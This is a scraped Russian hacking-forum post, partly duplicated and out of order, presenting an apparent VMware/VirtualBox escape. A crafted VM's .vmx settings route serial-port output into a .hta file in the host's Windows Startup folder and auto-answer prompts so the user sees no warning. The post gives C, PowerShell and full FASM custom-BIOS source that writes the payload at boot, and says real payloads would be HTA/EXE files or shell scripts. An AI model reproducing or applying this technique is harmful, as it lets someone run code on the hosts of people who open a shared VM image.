db COM_LCR, 0x03 ; Line Control Register, устанавливаем режим передачи 8N1, то есть 8 байт в пакете, N=отсутствие проверки чётности, 1 - количество стоповых битов
payload:
db '<SCRIPT>alert(7);</script>',0 ; Здесь хранится ASCIIZ строка с тестовым пейлоадом
end_com_port:
times 0x7FFF0 - 0x7F000 - (end_com_port - start_com_port) db 0xFF ; Резервируем неиспользуемую область памяти между основным программным кодом и Reset Vector
; Здесь находится Reset Vector, отсюда начинается исполнение программы после включения компьютера, либо после нажатия кнопки Reset
; В Reset Vector будет располагаться одна единственная инструкция JMP, делающая переход на основной программный код.
; Как устроена и как расчитывается инструкция JMP: первый байт это 0xE9 - это сигнатура инструкции JMP
; Дальше идёт 16 битное число, содержащее адрес перехода
; В формуле перехода первый знак "-", это означает мы переходим на минус столько-то байт назад.
; Значение $ - start_com_port это расстояние в байтах до места куда надо перейти, число байт от текущей позиции инструкции JMP и основного программного кода
; К текущей позиции инструкции JMP процессор приплюсовывает ещё 2 байта, поэтому в формуле есть число 2
start_bios_code:
db 0e9h
dw - ($ - start_com_port + 2)
end_bios_code:
times 13 db 0xff ; Заполняем оставшиеся байты до полного размера файла в 524288 байт (0x80000 байт в шестнадцатеричной системе счисления)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></div></pre>
<div class="scroll-element scroll-x scroll-scrollx_visible scroll-scrolly_visible" style="">
<div class="scroll-element_outer">
<div class="scroll-element_size"></div>
<div class="scroll-element_track"></div>
<div class="scroll-bar" style="width: 485px; left: 0px;"></div>
</div>
</div>
<div class="scroll-element scroll-y scroll-scrollx_visible scroll-scrolly_visible" style="">
<div class="scroll-element_outer">
<div class="scroll-element_size"></div>
<div class="scroll-element_track"></div>
<div class="scroll-bar" style="height: 29px; top: 0px;"></div>
</div>
</div>
</div>
</div>
<div class="messageTextEndMarker"> </div>
</blockquote>
</article>
<div class="thankAuthorBox">
<div class="thankAuthorTitle"> Этот материал оказался полезным? </div>
<div class="thankAuthorDiscrip"> Вы можете отблагодарить автора темы путем перевода средств на баланс </div>
<a href="members/6755118/balance-transfer?username=Holysmokes&amount=20&comment=https%3A%2F%2Fzelenka.guru%2Fthreads%2F5961625%2F" class="btnThanksAuthor mn-15-0-0 OverlayTrigger">
<span class="icon leftIcon thankAuthorButtonIcon">
<svg width="12" height="18" viewBox="0 0 12 18" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M6 0.75V17.25" stroke="#E7F5F5" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
<path d="M9.75 3.75H4.125C3.42881 3.75 2.76113 4.02656 2.26884 4.51884C1.77656 5.01113 1.5 5.67881 1.5 6.375C1.5 7.07119 1.77656 7.73887 2.26884 8.23116C2.76113 8.72344 3.42881 9 4.125 9H7.875C8.57119 9 9.23887 9.27656 9.73116 9.76884C10.2234 10.2611 10.5 10.9288 10.5 11.625C10.5 12.3212 10.2234 12.9889 9.73116 13.4812C9.23887 13.9734 8.57119 14.25 7.875 14.25H1.5" stroke="#E7F5F5" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
</svg>
</span>
Отблагодарить автора</a>
</div>
<div class="messageMeta ToggleTriggerAnchor">
<div class="privateControls">
<a href="threads/5961625/" title="Постоянная ссылка" data-href="posts/42492045/permalink" class="item messageDateInBottom datePermalink hashPermalink OverlayTrigger muted">
<abbr class="DateTime" data-time="1696974865" data-diff="6808" data-datestring="11 окт 2023" data-timestring="00:54" title="11 окт 2023 в 00:54">Сегодня, в 00:54</abbr>
</a>
<span class="item muted hiddenNarrowUnder">
<span class="Tooltip" title="" data-cachedtitle="Отредактировал(а) Holysmokes Сегодня, в 00:55" tabindex="0"> Изменено </span>
</span>
</div>
<div class="publicControls">
<span data-likes-url="posts/42492045/likes-inline" class=" LikeLink item control like hidden" data-content=".TooltipContent" data-container="#likes-post-42492045">
<span class="icon likeCounterIcon"></span>
<span class="LikeLabel"></span>
</span>
</div>
</div>
</div>
</div>
<ol class="messageSimpleList messageSimple CommentPostList">
</ol>
</li>
</ol>
<input type="hidden" name="_xfToken" value="">
</form>
GET search/search
<form action="search/search" target="_blank" method="get">
<input type="text" name="keywords" class="textCtrl QuickSearchQuery" placeholder="Поиск..." title="Введите параметры поиска и нажмите ввод" autocomplete="off" id="QuickSearchQuery">
<i class="QuickSearchClear far fa-times"></i>
<div class="secondaryControls">
<button type="submit" class="searchButton"> Найти <i class="far fa-chevron-right searchButtonIcon"></i>
</button>
<div class="SearchResultsList"></div>
<input type="hidden" name="_xfToken" value="">
</div>
</form>
Text Content
АБУЗИМ FLOCKTORY НА БЕСКОНЕЧНЫЕ ПРОМОКОДЫ ProZ Суббота в 15:04 2 СНОС ТЕЛЕГРАМ КАНАЛА Slipl Вчера, в 18:53 9 СОВЕТЫ ПО ОБХОДУ 115 ФЗ nodopeclvb Сегодня, в 01:42 7 ДЕЛАЕМ ОТЛИЧНЫЙ ЗВУК НА ПК. PixelExperience Сегодня, в 01:23 47 МЕНЯЕМ СВОЙ ГОЛОС НА ГОЛОС ИВАНА ЗОЛО И ДР.ЛЮДЕЙ ЧЕРЕЗ ТГ Юг0 Сегодня, в 01:20 6 КРУПНЕЙШАЯ БАЗА НЕЙРОСЕТЕЙ Юг0 Сегодня, в 01:20 13 БЕСПЛАТНО ПОЛУЧАЕМ МНОГО ПРОКСИ Dzhizus Сегодня, в 01:11 26 [GPT-4] BING С КОНТЕКСТОМ В TELEGRAM Dzhizus Сегодня, в 01:11 10 [BINGAI] TELEGRAM-БОТ НА ОСНОВЕ GPT-4 Dzhizus Сегодня, в 01:10 33 ДЕЛАЕМ СВОЙ CHATGPT 3.5 БОТ С КОНТЕКСТОМ В TELEGRAM Dzhizus Сегодня, в 01:10 23 ZERODAY УЯЗВИМОСТЬ В VMWARE, VIRTUAL BOX И ДРУГИХ ВИРТУАЛЬНЫХ МАШИНАХ. ПОДРОБНЫЙ РАЗБОР И ИСХОДНИКИ. Holysmokes Сегодня, в 00:54 0 СПИСОК ЧАСТИЧНО БЕСПЛАТНЫХ НЕЙРОСЕТЕЙ. krisper13yo Сегодня, в 00:50 6 [ТЕСТИРУЕТСЯ] НОВАЯ БЕСПЛАТНАЯ НЕЙРОСЕТЬ krisper13yo Вчера, в 23:44 2 ОТРАБАТЫВАЕМ STEAM POINTS ИЛИ ЖЕ ПРОФИТ ИЗ МУСОРА POISON Вчера, в 23:42 9 УЧИМСЯ ЛИТЬ ТРАФИК В TELEGRAM ADS Wild2nake Вчера, в 19:42 10 ШТРАФ ЗА СТАРЫЕ ПОСТЫ? СТАТЬЯ ОТ ЧЕСТНОГО ЮРИСТА ЧестныйЮрист Вчера, в 23:15 28 КОЛЛЕКТОРЫ - ЧТО МОГУТ И КАК ЗАЩИЩАТЬСЯ? СТАТЬЯ ОТ ЧЕСТНОГО ЮРИСТА ЧестныйЮрист Вчера, в 23:15 33 СРОК ЗА СЫРОК. ШOПЛИФТИНГ (КРАЖА В МАГАЗИНЕ). ЮРИДИЧЕСКИЙ РАЗБОР ОТ ЮРИСТА. ЧестныйЮрист Вчера, в 23:15 32 АКТИВИРУЕМ БЕСПЛАТНО ЛЮБОЙ ПРОДУКТ ОТ JETBRAINS (PYCHARM, PHPSTORM, WEBSTORM И ДРУГИЕ) Kash 23 сен 2023 83 ВЯЖЕМ STEAMGUARD (MAFILE) С ПОМОЩЬЮ ASF И ИМПОРТИРУЕМ ЕГО В SDA ЛисичьеБожество Вчера, в 23:08 4 ДЕЛАЕМ РЕАЛИСТИЧНЫЙ ЖЕНСКИЙ ГОЛОС В РЕАЛЬНОМ ВРЕМЕНИ Кустовой 19 авг 2023 122 [FORTNITE] АКТИВАЦИЯ ПОКУПОК/КОДОВ XBOX С ТЕЛЕФОНА Feenk 19 июл 2023 2 КОММЕРЧЕСКИЙ ОПЫТ В ПРОГРАММИРОВАНИИ. С ЧЕГО НАЧАТЬ И КАК ИМ НАБИРАТЬСЯ? floydpower Вчера, в 22:46 8 [СХЕМА] КАК МОЖНО ЗАРАБОТАТЬ НА КИТАЙЦАХ? krisper13yo Понедельник в 00:51 9 КАК ЗАКАЗЫВАТЬ С POIZON? воря 11 сен 2023 30 ПОЛУЧАЕМ БЕСПЛАТНУЮ СВЯЗЬ ДО КОНЦА ГОДА [ТИНЬКОФФ МОБАЙЛ] Хэппимилф Вчера, в 20:14 2 КАК ВОЙТИ В ДИСКОРД ПО ТОКЕНУ - КРАТКАЯ ИНСТРУКЦИЯ суета Вчера, в 22:00 121 ДЕЛАЕМ ЗВУК МИКРОФОНА, ЧИЩЕ ЗА 2 МИНУТЫ polunar Вчера, в 21:53 16 О РАБОТЕ В СЕТИ ПИЦЦЕРИЙ "ДОДО ПИЦЦА" Corvus Вчера, в 21:43 6 ОБНАРУЖИВАЕМ РЕДАКТИРОВАНИЕ ФОТОГРАФИИ xcedy Вчера, в 21:34 20 * Маркет * Статьи * Гарант * Соц. сети * Другое Войти Создать аккаунт Критерий сортировки: * По дате создания * Степень соответствия Поиск тем и сообщений Поиск тем и сообщений Форум > Тематическая категория > Статьи > 1. Регистрация В связи с участившимися блокировками доменов нам пришлось скрыть некоторые разделы форума от гостей, чтобы получить доступ ко всей информации - зарегистрируйтесь. Hello. If your language is English, press the button below. Switch to English ZERODAY УЯЗВИМОСТЬ В VMWARE, VIRTUAL BOX И ДРУГИХ ВИРТУАЛЬНЫХ МАШИНАХ. ПОДРОБНЫЙ РАЗБОР И ИСХОДНИКИ. Тема в разделе Статьи создана пользователем Holysmokes Сегодня, в 00:54. 32 просмотра * exploit * virtualbox * vmware * zeroday * виртуалка Загрузка... Сортировать 1. Holysmokes Автор темы Сегодня, в 00:54 55 11 мар 2023 > В данной статье будет описан Zero-Day эксплоит под вмваре, подробно > разобран механизм работы уязвимости и код, который прописывается в > подключаемый к VMWare BIOS. Так же стоит отметить, что данная уязвимость > работает и на других виртуалках, просто на VMWare она нашлась первой. > Точно такую же уязвимость у меня получилось воспроизвести на Virtual Box. > Данная уязвимость будет на всех виртуалках, на которых есть возможность > делать перенаправление данных из компорта гостевой системы в отдельный > файл на хостовой системе. Кроме того, это должно работать и в Linux. > Отличие будет только в типе пейлоада - в Windows мы делаем пейлоад в виде > HTA или EXE файла, а в Linux это будет, например, sh скрипт. > > Принцип работы уязвимости: > 1. В VMWare есть возможность выводить в отдельный файл информацию, > отправляемую в COM порт из гостевой системы. Пути к файлу, которые там > можно прописать, не проверяются. Путь может быть прописал любой, и > расширение файла любое. Например, можно прописать файл с расширением hta в > автозагрузку > C:\ProgramData\Microsoft\Windows\StartMenu\Programs\StartUp\test.hta > > Скриншот с настройками: > > > На скриншоте красным цветом обведено ключевое для данной уязвимости место > настроек VMWare, где прописывается имя hta файла в папке автозагрузки. > > > 2. Теперь как добавить контент в этот файл. Это можно сделать, например, > через WinAPI, окрыв ком порт как обычный файл и записав туда контент. > > > hCom = CreateFile("\\\\.\\COM1", GENERIC_READ | GENERIC_WRITE, 0, NULL, > OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0); char* payload = > "<SCRIPT>alert(12345)</SCRIPT>"; DWORD bytesWritten; WriteFile(hCom, > payload, strlen(payload), &bytesWritten, 0); CloseHandle(hComm); > Код C: > > hCom = CreateFile("\\\\.\\COM1", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0); > char* payload = "<SCRIPT>alert(12345)</SCRIPT>"; > DWORD bytesWritten; > WriteFile(hCom, payload, strlen(payload), &bytesWritten, 0); > CloseHandle(hComm); > > > > Можно сделать через PowerShell: > > > $comPort=new-Object System.IO.Ports.SerialPort $a,1E7,None,8,one; > $comPort.DtrEnable=$true; $comPort.Open(); > $comPort.WriteLine("<SCRIPT>alert(12345)</SCRIPT>"); > Код: > > $comPort=new-Object System.IO.Ports.SerialPort $a,1E7,None,8,one; > $comPort.DtrEnable=$true; > $comPort.Open(); > $comPort.WriteLine("<SCRIPT>alert(12345)</SCRIPT>"); > > > > Но у этих способов есть недостаток: они не срабатывают сразу после нажатия > на кнопку "Включить" в vmware. Нужно дожидаться загрузки системы, > встраивать в автозагрузку гостевой системы Powershell скрипт или EXE, > который отправляет пейлоад в компорт. Для того чтобы пейлоад записался > сразу же после запуска образа операционной системы его придётся разместить > в BIOS. Тогда, нажав на кнопку Play в VMWare, запись hta файла в > автозагрузку на хостовой системе произойдёт мгновенно. Поэтому переходим к > следующему пункту: подключение стороннего BIOS в VMWare. > > > 3. В VMWare есть возможность подключать сторонние BIOS, строка для > подключения прописывается в файле настроек образа с расширением vmx. > Полный набор прописываемых настроек выглядит так: > > bios440.filename="bios.rom" > serial0.fileType = "file" > serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start > Menu\Programs\StartUp\a.hta" > serial0.present = "TRUE" > > Войдите или зарегистрируйтесь для просмотра ссылок. > > = "Replace" > msg.autoAnswer = "TRUE" > > Разберём каждую из этих строк: > > Строка bios440.filename="bios.rom" - здесь прописывается путь к образу ROM > файла, в котором хранится BIOS > serial0.fileType = "file - здесь задаём режим работы компорта, он будет > настроен на запись в файл > serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start > Menu\Programs\StartUp\a.hta" - здесь прописывается путь к файлу, в который > будем сохранять данные из ком порта > serial0.present = "TRUE" - этой строкой подключаем ком порт к образу > вмваре > > Войдите или зарегистрируйтесь для просмотра ссылок. > > = "Replace" - если образ будет скопирован на другой компьютер, то VMWare > задаст вопрос "Был ли образ перемещён или скопирован". Этой строкой мы > задаём автоответ на этот вопрос, чтобы пользователю не показывался лишний > месседжбокс с вопросом. > msg.autoAnswer = "TRUE" - строка аналогичная предыдущей, VMWare будет > автоматически выбирать ответ "Да" на все выдаваемые ей вопросы. > > Теперь переходим к самому сложному, самому коду BIOS > > > 4. Код BIOS написан на FASM и особенность его в том, что он работает в 16 > битном режиме. Процессор сразу после включения работает именно в этом > режиме, только потом он программно переводится в 32 или 64 битный режим > работы. VMWare первые байты кода из BIOS интерпретирует именно как 16 > битный ассемблер. > > Это значит что в регистр будет влазить только 16 битное число (то есть > максимальное возможное число, хранимое в регистре, будет равно 65535). > Будет непривычная адресация памяти, состоящая из двух регистров, например > DS:[SI]. Потому что один регистр заадресует только 65535 байт памяти, > чтобы адресовать больше нужен дополнительный регистр. Кроме того, в коде > самописного BIOS не будет прерываний. Например не будет прерывания INT > 14h, отвечающего за работу с COM портом. Поэтому весь функционал, который > предоставляет это прерывание, мы должны реализовать самостоятельно. Делать > мы это буден обращаясь напрямую к портам ввода-вывода. Вообщем, будем > программировать так, как это делали 30-40 лет назад. > > Сам файл bios.rom не имеет никакого формата, там нет никаких > дополнительных заголовков и настроечной информации, как например в exe > файлах. Образ bios записанный на микросхему или в файл представляет собой > точную копию того, как он хранится в памяти компьютера. Единственнное что > нужно помнить, это про точку входа в BIOS, место откуда начинается > выполнение программы. Этот адрес равен 0x7FFF0 и называется он Reset > Vector. Это место, откуда начинается выполнение программного кода сразу > после включения компьютера или после нажатия кнопки Reset. > > Размер файла bios.rom фиксированный, и равен он 524288 байт (или 0x80000 > байт в шестнадцатеричной системе счисления). Если сделать другой размер, > то VMWare выдаст ошибку. > Reset Vector находится почти в самом конце файла, поэтому по его адресу > расположена инструкция JMP, осуществляющая переход на основную программу > BIOS. Это показано на рисунке: > > > > На рисунке изображен скриншот из hex-редактора. Красным цветом обведён > Reset Vector, откуда начинается исполнение программы после включения > компьютера или нажатия кнопки Reset. Там видна инструкция JMP которая > указывает на область, обведённую чёрным цветом. Область обведённая чёрным > цветом это основной код. > > Исходник файла bios.rom находится в прикрепленном файле bios.asm > Компилируется в FASM простой командой: fasm bios.asm > > Далее разбираем обмен даннымми с компортом на ассемблере через порты > ввода-вывода. > > > use16 ; Включаем режим 16 битного ассемблера ; Здесь хранятся адреса > портов ввода вывода SuperIO и компорта ; SuperIO контроллер это > микросхема, объединяющая в одном корпусе набор низкоскоростных устройств: > com port, параллельный порт, флоппи диск и т.д. ; До появления стандарта > SuperIO для каждого такого устройства был отдельный контроллер ; Чтобы > получить доступ к компорту мы сначала должны инициализировать контроллер > SuperIO ; VMWare использует именно этот стандарт - стандарт SuperIO вместо > отдельного контроллера для каждого устройства SUPERIO_BASE equ 0x2e > PC97338_FER equ 0x00 PC97338_FAR equ 0x01 PC97338_PTR equ 0x02 COM_BASE > equ 0x3f8 ; Базовый адрес компорта, от этого номера отсчитываются номера > портов для различных функций работы с компортом (чтение, запись, и т.д.) > COM_RB equ 0x00 ; Отправка буфера (R) COM_TB equ 0x00 ; Передача буфера > (T) COM_BRD_LO equ 0x00 ; Установка скорости компорта, младшая часть > COM_BRD_HI equ 0x01 ; Установка скорости компорта, старшая часть COM_IER > equ 0x01 ; Interrupt Enable Register COM_FCR equ 0x02 ; FIFO Control > Register, регистр буфера FIFO COM_LCR equ 0x03 ; Line Control Register, > регистр контроля линии COM_MCR equ 0x04 ; Modem Control Registrer, регистр > контроля модема COM_LSR equ 0x05 ; Line Status Register, регистр статуса > линии, по его состоянию определяем готовность порта к передаче/приёму > данных db "VMBIOS v1.00",0,0,0,0 ; В самом начале файла располагается > строка с названием BIOS, под это зарезервировано 16 байт times 0x7F000-16 > db 0xFF ; Заполняем неиспользуемое пространство символами 0xFF. Почему не > нолями, и откуда пошло пустое пространство заполнять именно этим числом. ; > Если число 0xFF перевести в двоичный формат, то мы получим число из всех > единичек b11111111. Таким образом, куча чисел 0XFF это гигантская > последовательность единичек. ; В микросхемах памяти незаписанный байт > обозначается как "1", а не как "0". Куча чисел 0xFF это пошло от > обозначения незаписанных байтов на микросхемах. ; Начало основной > программы org 0xF000 ; Адрес, по которому метка start_com_port > располагается в памяти ; Про формат вызовов подпрограмм. ; В нашем случае > нежелательно использовать инструкцию call, потому что она воздействует на > память и регистры (по адресу SS:SP заносится адрес возврата и регистр sp > уменьшается на 2) ; Здесь проще пользоваться таким способом вызова > подрограмм: ; ; mov $sp+5 ; jmp proc_label ; .... ; ;proc_label: ; jmp sp > ; ; Инструкция jmp работает здесь как инструкция call, инструкция jmp sp > как замена инструкции ret. ; После такой замены будет исключено > повреждение памяти инструкцией call start_com_port: ; Первоначальные > настройки сразу после включения компа. cli - сбросить флаг прерываний > (CLear Interrupts) ; cld - задать стандартное направление обработки строк > для инструкций обработки строк movsb, scasb и т.д. (CLear Direction) ; Три > следующих инструкции - настройка сегментных регистров для адресации памяти > ; Все эти значения нужно заполнить, так как после включения компа там > может быть не "0", а какое-то иное случайное число ; Регистры DS и SS > делаем равными адресу сегменту кода (CS=Code Segment). Нужно для > правильной работы инструкций mov cli cld mov ax, cs mov ds, ax mov ss, ax > mov dx, SUPERIO_BASE ; Обращаемcя к порту микросхемы Super-IO in al, dx ; > Обращаемся к порту 2 раза: если обратится один раз, то может не сработать > in al, dx ; Во всех исходниках и примерах эта команда указана дважды, > почему так получилось нигде не написано mov si, superio_conf ; Указатель > на область памяти с первоначальными настройками SuperIO mov cx, 3 ; > Указываем размер этой области памяти write_superio_conf: mov ax, [si] mov > sp, $+5 ; Вызов подпрограммы отправки данных в порт superio jmp > superio_out ; add si, 2 loop write_superio_conf ; Настройка компорта, > делается аналогично настройке superio mov si, serial_conf ; Указатель на > таблицу настроек компорта mov cx, 6 write_serial_conf: mov ax, [si] mov > sp, $+5 ; Процедура отправки данных в компорт jmp serial_out ; add si, 2 > loop write_serial_conf ; Компорт настроен и готов к работе, дальше идёт > отправка пейлоада в компорт mov si, payload mov sp,$+5 ; Вызов подрограммы > отправки ASCIIZ строки в компорт jmp print_string ; ; Завершаем работу > программы бесконечным циклом ; В бесконечном цикле считываем символ из > компорта и отправляем его обратно serial_repeater: mov sp,$+5 jmp readchar > mov sp,$+5 jmp putchar jmp serial_repeater ; Подпрограмма отсылки данных > SuperIO контроллеру superio_out: mov dx, SUPERIO_BASE out dx, al inc dx > xchg ah, al out dx, al jmp sp ; Подпрограмма отсылки данных компорту > serial_out: mov dx, COM_BASE add dl, al mov al, ah out dx, al jmp sp ; В > подпрограммах адрес порта будет виден, например, в таком формате: mov dx, > COM_BASE + COM_LSR ; Здесь COM_BASE это стандартный адрес com порта 0x3F8 > ; На разные действия может быть отведён отдельный порт ; Следом за базовым > номером ком порта идут порты для определённых действий с компортом: > считать байт, отправить байт и т.д. ; Например, для получения доступа к > статусному регистру линии мы получаем номер порта: COM_BASE + COM_LSR = > 0x3F8 + 5 = 0x3FD ; Подпрограмма вывода одиночного символа в компорт > putchar: mov dx, COM_BASE + COM_LSR mov ah, al tx_wait: in al, dx ; > Дожидаемся готовности ком порта к передаче and al, 0x20 ; jz tx_wait ; mov > dx, COM_BASE + COM_TB mov al, ah out dx, al jmp sp ; Подпрограмма > считывания одиночного символа из компорта readchar: mov dx, COM_BASE + > COM_LSR rx_wait: in al, dx ; Дожидаемся готовности компорта к считыванию > and al, 0x01 ; jz rx_wait ; mov dx, COM_BASE + COM_RB in al, dx jmp sp ; > Подпрограмма печати строки ; Печать строки это печать множества одиночных > символов, а значит это множество последовательных вызовов процедуры печати > одиночного символа putchar print_string: lodsb or al, al jnz write_char > jmp sp write_char: shl esp, 0x10 mov sp,$+5 jmp putchar shr esp, 0x10 jmp > print_string ; Таблица для настроек SuperIO и компорта superio_conf: db > PC97338_FER, 0x0f ; Команда включения на микросхеме SuperIO следующих > устройств: компорт, параллельный порт и флоппи диск db PC97338_FAR, 0x10 ; > Задаём стандартные номера коммуникационых портов: LPT=378, COM1=3F8, > COM2=2F8 db PC97338_PTR, 0x00 serial_conf: db COM_MCR, 0x00 ; Режим > RTS/DTS выключен. RTS=Ready To Send, сигнал готовности отправки данных. > DTS = Data To Send, сигнал о том что данные отправлены db COM_FCR, 0x07 db > COM_LCR, 0x80 db COM_BRD_LO, 0x01 ; Скорость порта устанавливаем в 115200 > db COM_BRD_HI, 0x00 db COM_LCR, 0x03 ; Line Control Register, > устанавливаем режим передачи 8N1, то есть 8 байт в пакете, N=отсутствие > проверки чётности, 1 - количество стоповых битов payload: db > '<SCRIPT>alert(7);</script>',0 ; Здесь хранится ASCIIZ строка с тестовым > пейлоадом end_com_port: times 0x7FFF0 - 0x7F000 - (end_com_port - > start_com_port) db 0xFF ; Резервируем неиспользуемую область памяти между > основным программным кодом и Reset Vector ; Здесь находится Reset Vector, > отсюда начинается исполнение программы после включения компьютера, либо > после нажатия кнопки Reset ; В Reset Vector будет располагаться одна > единственная инструкция JMP, делающая переход на основной программный код. > ; Как устроена и как расчитывается инструкция JMP: первый байт это 0xE9 - > это сигнатура инструкции JMP ; Дальше идёт 16 битное число, содержащее > адрес перехода ; В формуле перехода первый знак "-", это означает мы > переходим на минус столько-то байт назад. ; Значение $ - start_com_port > это расстояние в байтах до места куда надо перейти, число байт от текущей > позиции инструкции JMP и основного программного кода ; К текущей позиции > инструкции JMP процессор приплюсовывает ещё 2 байта, поэтому в формуле > есть число 2 start_bios_code: db 0e9h dw - ($ - start_com_port + 2) > end_bios_code: times 13 db 0xff ; Заполняем оставшиеся байты до полного > размера файла в 524288 байт (0x80000 байт в шестнадцатеричной системе > счисления) > Код: > > use16 ; Включаем режим 16 битного ассемблера > > ; Здесь хранятся адреса портов ввода вывода SuperIO и компорта > > ; SuperIO контроллер это микросхема, объединяющая в одном корпусе набор низкоскоростных устройств: com port, параллельный порт, флоппи диск и т.д. > ; До появления стандарта SuperIO для каждого такого устройства был отдельный контроллер > ; Чтобы получить доступ к компорту мы сначала должны инициализировать контроллер SuperIO > ; VMWare использует именно этот стандарт - стандарт SuperIO вместо отдельного контроллера для каждого устройства > > SUPERIO_BASE equ 0x2e > > PC97338_FER equ 0x00 > PC97338_FAR equ 0x01 > PC97338_PTR equ 0x02 > > COM_BASE equ 0x3f8 ; Базовый адрес компорта, от этого номера отсчитываются номера портов для различных функций работы с компортом (чтение, запись, и т.д.) > COM_RB equ 0x00 ; Отправка буфера (R) > COM_TB equ 0x00 ; Передача буфера (T) > COM_BRD_LO equ 0x00 ; Установка скорости компорта, младшая часть > COM_BRD_HI equ 0x01 ; Установка скорости компорта, старшая часть > COM_IER equ 0x01 ; Interrupt Enable Register > COM_FCR equ 0x02 ; FIFO Control Register, регистр буфера FIFO > COM_LCR equ 0x03 ; Line Control Register, регистр контроля линии > COM_MCR equ 0x04 ; Modem Control Registrer, регистр контроля модема > COM_LSR equ 0x05 ; Line Status Register, регистр статуса линии, по его состоянию определяем готовность порта к передаче/приёму данных > > db "VMBIOS v1.00",0,0,0,0 ; В самом начале файла располагается строка с названием BIOS, под это зарезервировано 16 байт > > times 0x7F000-16 db 0xFF ; Заполняем неиспользуемое пространство символами 0xFF. Почему не нолями, и откуда пошло пустое пространство заполнять именно этим числом. > ; Если число 0xFF перевести в двоичный формат, то мы получим число из всех единичек b11111111. Таким образом, куча чисел 0XFF это гигантская последовательность единичек. > ; В микросхемах памяти незаписанный байт обозначается как "1", а не как "0". Куча чисел 0xFF это пошло от обозначения незаписанных байтов на микросхемах. > > ; Начало основной программы > > org 0xF000 ; Адрес, по которому метка start_com_port располагается в памяти > > ; Про формат вызовов подпрограмм. > ; В нашем случае нежелательно использовать инструкцию call, потому что она воздействует на память и регистры (по адресу SS:SP заносится адрес возврата и регистр sp уменьшается на 2) > ; Здесь проще пользоваться таким способом вызова подрограмм: > ; > ; mov $sp+5 > ; jmp proc_label > ; .... > ; > ;proc_label: > ; jmp sp > ; > ; Инструкция jmp работает здесь как инструкция call, инструкция jmp sp как замена инструкции ret. > ; После такой замены будет исключено повреждение памяти инструкцией call > > > start_com_port: > > ; Первоначальные настройки сразу после включения компа. cli - сбросить флаг прерываний (CLear Interrupts) > ; cld - задать стандартное направление обработки строк для инструкций обработки строк movsb, scasb и т.д. (CLear Direction) > ; Три следующих инструкции - настройка сегментных регистров для адресации памяти > ; Все эти значения нужно заполнить, так как после включения компа там может быть не "0", а какое-то иное случайное число > ; Регистры DS и SS делаем равными адресу сегменту кода (CS=Code Segment). Нужно для правильной работы инструкций mov > > cli > cld > > mov ax, cs > mov ds, ax > mov ss, ax > > mov dx, SUPERIO_BASE ; Обращаемcя к порту микросхемы Super-IO > in al, dx ; Обращаемся к порту 2 раза: если обратится один раз, то может не сработать > in al, dx ; Во всех исходниках и примерах эта команда указана дважды, почему так получилось нигде не написано > > mov si, superio_conf ; Указатель на область памяти с первоначальными настройками SuperIO > mov cx, 3 ; Указываем размер этой области памяти > write_superio_conf: > mov ax, [si] > mov sp, $+5 ; Вызов подпрограммы отправки данных в порт superio > jmp superio_out ; > add si, 2 > loop write_superio_conf > > ; Настройка компорта, делается аналогично настройке superio > > mov si, serial_conf ; Указатель на таблицу настроек компорта > mov cx, 6 > write_serial_conf: > mov ax, [si] > mov sp, $+5 ; Процедура отправки данных в компорт > jmp serial_out ; > add si, 2 > loop write_serial_conf > > ; Компорт настроен и готов к работе, дальше идёт отправка пейлоада в компорт > > mov si, payload > mov sp,$+5 ; Вызов подрограммы отправки ASCIIZ строки в компорт > jmp print_string ; > > ; Завершаем работу программы бесконечным циклом > ; В бесконечном цикле считываем символ из компорта и отправляем его обратно > > serial_repeater: > mov sp,$+5 > jmp readchar > mov sp,$+5 > jmp putchar > jmp serial_repeater > > ; Подпрограмма отсылки данных SuperIO контроллеру > > superio_out: > mov dx, SUPERIO_BASE > out dx, al > inc dx > xchg ah, al > out dx, al > jmp sp > > ; Подпрограмма отсылки данных компорту > > serial_out: > mov dx, COM_BASE > add dl, al > mov al, ah > out dx, al > jmp sp > > ; В подпрограммах адрес порта будет виден, например, в таком формате: mov dx, COM_BASE + COM_LSR > ; Здесь COM_BASE это стандартный адрес com порта 0x3F8 > ; На разные действия может быть отведён отдельный порт > ; Следом за базовым номером ком порта идут порты для определённых действий с компортом: считать байт, отправить байт и т.д. > ; Например, для получения доступа к статусному регистру линии мы получаем номер порта: COM_BASE + COM_LSR = 0x3F8 + 5 = 0x3FD > > ; Подпрограмма вывода одиночного символа в компорт > > putchar: > mov dx, COM_BASE + COM_LSR > mov ah, al > tx_wait: > in al, dx ; Дожидаемся готовности ком порта к передаче > and al, 0x20 ; > jz tx_wait ; > mov dx, 